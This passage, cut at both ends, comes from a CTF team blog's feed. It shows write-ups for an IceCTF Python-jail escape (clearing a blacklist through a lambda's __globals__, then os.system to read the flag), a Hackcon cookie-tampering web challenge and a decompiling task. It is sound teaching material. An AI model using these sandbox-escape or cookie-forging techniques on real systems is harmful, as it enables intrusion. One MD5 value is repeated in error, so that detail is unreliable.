&lt;ul&gt;
  &lt;li&gt;obtain a reference to the &lt;a href=&quot;https://docs.python.org/2/library/functions.html#file&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt;&lt;/a&gt; function and guess the filename for the flag;&lt;/li&gt;
  &lt;li&gt;obtain a reference to the &lt;a href=&quot;https://docs.python.org/2/library/os.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os&lt;/code&gt;&lt;/a&gt; module in order to use the &lt;a href=&quot;https://docs.python.org/2/library/os.html#os.system&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os.system&lt;/code&gt;&lt;/a&gt; function and be able to issue commands to the underlying system.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The second way is more interesting, but even if the methods used to gain the reference to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os&lt;/code&gt; module are really interesting, they are quite complicated such as &lt;a href=&quot;https://hexplo.it/escaping-the-csawctf-python-sandbox/&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://sugarstack.io/csaw-2014-pybabbies.html&quot;&gt;this&lt;/a&gt;. Most of them are based on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;linecache&lt;/code&gt;, contained in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;warnings.catch_warnings&lt;/code&gt;, which contains a reference to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os&lt;/code&gt; united with some techniques explained in &lt;a href=&quot;http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html&quot;&gt;this&lt;/a&gt; amazing Ned Batchelder’s post.&lt;/p&gt;

&lt;h2 id=&quot;another-solution&quot;&gt;Another solution&lt;/h2&gt;

&lt;p&gt;We found a more straightforward solution for this task. Since in this case the &lt;a href=&quot;https://docs.python.org/2/library/sys.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sys&lt;/code&gt;&lt;/a&gt; module is already loaded, we can use &lt;a href=&quot;https://docs.python.org/2/library/sys.html#sys.modules&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sys.modules&lt;/code&gt;&lt;/a&gt; to get the references of all the loaded modules (including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The problem here is that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sys&lt;/code&gt; is a banned word. We want to clear the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;banned&lt;/code&gt; variable, without being able to use its name. It would be great if there was a dictionary containing all the globals so that we can compose the name of the variable with string operations like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;'ban' + 'ned'&lt;/code&gt; and evade the blacklist.&lt;/p&gt;

&lt;p&gt;The dictionary that contains the global variables can be accessed with the function &lt;a href=&quot;https://docs.python.org/2/library/functions.html#globals&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;globals()&lt;/code&gt;&lt;/a&gt;, but unfortunately we don’t have access to that variable since the built-ins were cleared.&lt;/p&gt;

&lt;p&gt;We can access the same dictionary defining a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;function&lt;/code&gt; object (for example using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lambda&lt;/code&gt;) and accessing its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__globals__&lt;/code&gt; variable. This way we will be able to set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;banned&lt;/code&gt; variable to an empty list, disabling the blacklist:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__globals__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'ban'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'ned'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Now we don’t have a blacklist anymore, so we can easily get a reference to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;modules&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'os'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Now we can list the files in the directory and print the flag:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'ls'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;txt&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;problem&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;problem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;py&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'cat ./flag.txt'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;The&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;not_your_average_python&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So the flag is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;not_your_average_python&lt;/code&gt;.&lt;/p&gt;
</description>
        <pubDate>Mon, 24 Aug 2015 00:00:00 +0000</pubDate>
        <link>http://vimvaders.github.io/icectf2015/2015/08/24/pyshell.html</link>
        <guid isPermaLink="true">http://vimvaders.github.io/icectf2015/2015/08/24/pyshell.html</guid>
        
        <category>ctf</category>
        
        <category>exploitation</category>
        
        <category>python</category>
        
        
        <category>icectf2015</category>
        
      </item>
    
      <item>
        <title>Hackcon 2015: Doctor Doctor</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Category: &lt;em&gt;web&lt;/em&gt; - Points: &lt;em&gt;25&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Description: &lt;em&gt;Flag is &lt;a href=&quot;http://hackcon.in:8080/level8/&quot;&gt;here&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When we visit the flag &lt;a href=&quot;http://hackcon.in:8080/level8/&quot;&gt;website&lt;/a&gt; we are greeted with a login form:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/hackcon2015/level8-login.png&quot; alt=&quot;login form&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No hints in the source code and everything we try to insert in the form leads miserably to this page (again without hints in the source code):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/hackcon2015/you-chose-poorly.png&quot; alt=&quot;message 'you chose poorly' showed after login attempt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Before embarking on SQLI, we realized that the data inserted in the form is not even submitted to the action page, so there must be something else. Let’s check the cookies:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/hackcon2015/cookies.png&quot; alt=&quot;the page sets two cookies, MadHatter? and MockTurtle?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;the page sets two cookies, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MadHatter?&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MockTurtle?&lt;/code&gt; which are both characters from &lt;em&gt;Alice in wonderland&lt;/em&gt;. Both the cookies contains the same data:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;7fa3b767c460b54a2be4d49030b349c7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A search on Google &lt;a href=&quot;http://md5cracker.org/decrypted-md5-hash/7fa3b767c460b54a2be4d49030b349c7&quot;&gt;showed&lt;/a&gt; that the string is just the MD5 of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;no&lt;/code&gt;. So for the next hour we tried to replace the value of the cookies with other MD5 hashes for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yes&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maybe&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ofcourse&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yeah&lt;/code&gt; and many other (obviously including insults).&lt;/p&gt;

&lt;p&gt;Just before going insane we decided to explore the webservice a bit more. We figured that the content of the &lt;a href=&quot;http://hackcon.in:8080/level8/robots.txt&quot;&gt;robots.txt&lt;/a&gt; file was:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;User-agent: *
Disallow: /what_is_this_place
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we checked the page at &lt;a href=&quot;http://hackcon.in:8080/level8/what_is_this_place&quot;&gt;http://hackcon.in:8080/level8/what_is_this_place&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/hackcon2015/what_is_this_place.png&quot; alt=&quot;content of the page what_is_this_place showing four files&quot; /&gt;&lt;/p&gt;

&lt;p&gt;All the files contain some non-interesting words. We started looking at the file having the name of the first of our two cookies, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MadHatter&lt;/code&gt;, which contained:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sternutate
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Setting the value of the cookie &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MadHatter?&lt;/code&gt; to the MD5 of the word &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sternutate&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;27a297c35cf0e6930faec429512e2490&lt;/code&gt;) and attempting to login results in:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/hackcon2015/madhatter.png&quot; alt=&quot;MadHatter login&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So we checked the content of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MockTurtle&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;borborygmi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Restoring the value of the cookie &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MadHatter?&lt;/code&gt; to its original value and setting the value of the cookie &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MockTurtle?&lt;/code&gt; to the MD5 of the word &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;borborygmi&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;27a297c35cf0e6930faec429512e2490&lt;/code&gt;) and attempting to login results in:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://vimvaders.github.io/assets/hackcon2015/mockturtle.png&quot; alt=&quot;MockTurtle login&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So our flag is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0901368cc95e06c6067da0ac24c69de2&lt;/code&gt; (which is actually the MD5 of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jabbajabba&lt;/code&gt;).&lt;/p&gt;

</description>
        <pubDate>Thu, 20 Aug 2015 22:00:00 +0000</pubDate>
        <link>http://vimvaders.github.io/hackcon2015/2015/08/20/doctor-doctor.html</link>
        <guid isPermaLink="true">http://vimvaders.github.io/hackcon2015/2015/08/20/doctor-doctor.html</guid>
        
        <category>ctf</category>
        
        <category>web</category>
        
        
        <category>hackcon2015</category>
        
      </item>
    
      <item>
        <title>Hackcon 2015: Pythonista</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Category: &lt;em&gt;pwn&lt;/em&gt; - Points: &lt;em&gt;25&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Description: &lt;em&gt;The program apparently once could print more than stories.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The task comes with two files:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://vimvaders.github.io/assets/hackcon2015/hide.pyo&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hide.pyo&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://vimvaders.github.io/assets/hackcon2015/message.txt&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;message.txt&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The file &lt;a href=&quot;http://vimvaders.github.io/assets/hackcon2015/message.txt&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;message.txt&lt;/code&gt;&lt;/a&gt; seems to contain a &lt;em&gt;base64&lt;/em&gt; string, but when decoding it, we receive another &lt;em&gt;base64&lt;/em&gt; string. Let’s check the other file to understand what is going on.&lt;/p&gt;

&lt;p&gt;The file &lt;a href=&quot;http://vimvaders.github.io/assets/hackcon2015/hide.pyo&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hide.pyo&lt;/code&gt;&lt;/a&gt; is a compiled python object file. We can decompile it using the &lt;a href=&quot;https://pypi.python.org/pypi/uncompyle2&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uncompyle2&lt;/code&gt;&lt;/a&gt; package.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ uncompyle2 --py -o . hide.pyo
+++ okay decompyling hide.pyo
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we can now check the content of &lt;a href=&quot;http://vimvaders.github.io/assets/hackcon2015/hide.py&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hide.py&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;random&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;MESSAGE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;environ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'MESSAGE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;il&quot;&gt;18446744073709551616L&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;29&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;algorithm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'bz2'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'base64'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'uu'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'quopri'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'zlib'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;final_strength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;randint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rounds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xrange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xrange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rounds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;encoded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MESSAGE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;final_strength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;algorithm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoded&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We add some comment in order to understand what is going on:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;random&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# get the MESSAGE from the environment variable MESSAGE
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MESSAGE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;environ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'MESSAGE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;il&quot;&gt;18446744073709551616L&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;29&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# = [1, 0]
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;algorithm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'bz2'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'base64'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'uu'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'quopri'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'zlib'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])]&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# since y[0] = 1, algorithm = 'base64'
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# we can not know which random number was chosen here at runtime
